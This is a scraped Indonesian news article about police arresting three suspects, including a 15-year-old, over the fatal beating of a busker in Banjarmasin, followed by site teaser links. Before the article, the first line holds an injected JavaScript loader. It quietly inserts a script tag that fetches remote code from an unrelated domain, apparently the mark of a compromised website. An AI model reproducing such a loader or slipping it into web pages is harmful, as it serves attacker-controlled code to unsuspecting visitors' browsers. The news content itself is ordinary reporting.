(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Sektor (Polsek) Banjarmasin Tengah berhasil mengungkap kasus pengeroyokan yang berujung kematian.
Persitiwa tersebut terjadi pada Jumat (15/12/2023) malam, di depan warung jagung bakar Kelurahan Antasan Besar Kecamatan Banjarmasin Tengah Kota Banjarmasin.
Kejadian berdarah malam itu menyebabkan nyawa HP (37), seorang pengamen melayang sia-sia di tangan tiga orang pelaku.
Tak lama usai kejadian, tim Buser Polsek Banjarmasin Tengah dengan dukungan Unit Resmob Subdit I Dit Reskrimum Polda Kalsel dan Macan Opsnal Sat Reskrim Polresta Banjarmasin, berhasil menangkap tiga pelaku pengeroyokan yakni Y (39), N (18), dan seorang anak di bawah umur F (15).
Baca juga: Cek Gudang Logistik Pemilu, Pj Bupati HSU: Jangan Sampai Ada yang Kurang atau Rusak
Menurut Kapolsek Banjarmasin Tengah Kompol Eka Saprianto melalui Kanit Reskrim Iptu Hendra Agustian Ginting kejadian bermula ketika korban dan temannya mengamen di depan warung jagung bakar tersebut.
Permasalahan muncul saat HP terlibat pertengkaran dengan seorang pengunjung perempuan yang sedang makan di tempat itu.
“HP merasa kesal dan tersinggung dengan perempuan itu, hingga memberi uang Rp2 ribu kepada perempuan itu,” kata Kanit Reskrim.
“Perempuan itu lalu tersinggung dan marah hingga terjadi cekcok mulut,” sambung Iptu Hendra.
Baca juga: Masih Jalani Hukuman, Ridlan Kembali Terjerat Korupsi Proyek di Banjarmasin
Saat cekcok berlanjut, F (15) mengambil posisi membela perempuan tersebut dan menyerang HP, memukulnya tiga kali hingga mengenai wajah, kepala, dan tubuh. HP juga dipiting hingga terduduk.
Sementara pelaku N, berusaha mendekati HP untuk memeriksa kondisinya. Namun, HP melampiaskan kemarahannya dan menyerang N. Mendapat serangan, N membalas serangan tersebut sebelum akhirnya pergi dari lokasi.
“Selang beberapa saat, pelaku Y datang kembali membawa balok kayu dan menghantam HP dua kali di bagian kepala hingga jatuh tak berdaya,” ungkap Kanit Reskrim.
Usai kejadian pengeroyokan, HP sempat dilarikan ke rumah sakit, namun nyawanya tidak bisa diselamatkan.
Baca juga: Mulyadi Dituntut 5 Tahun Penjara Gegara Tak Setor Hasil Penjualan Sapi
Perbuatan ketiga pelaku terancam dijerat dengan pasal 170 ayat (2) ke 3, 338, dan 351 ayat (3) KUHPidana. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel mengadakan Pelatihan Peningkatan Kapasitas… Read More
This website uses cookies.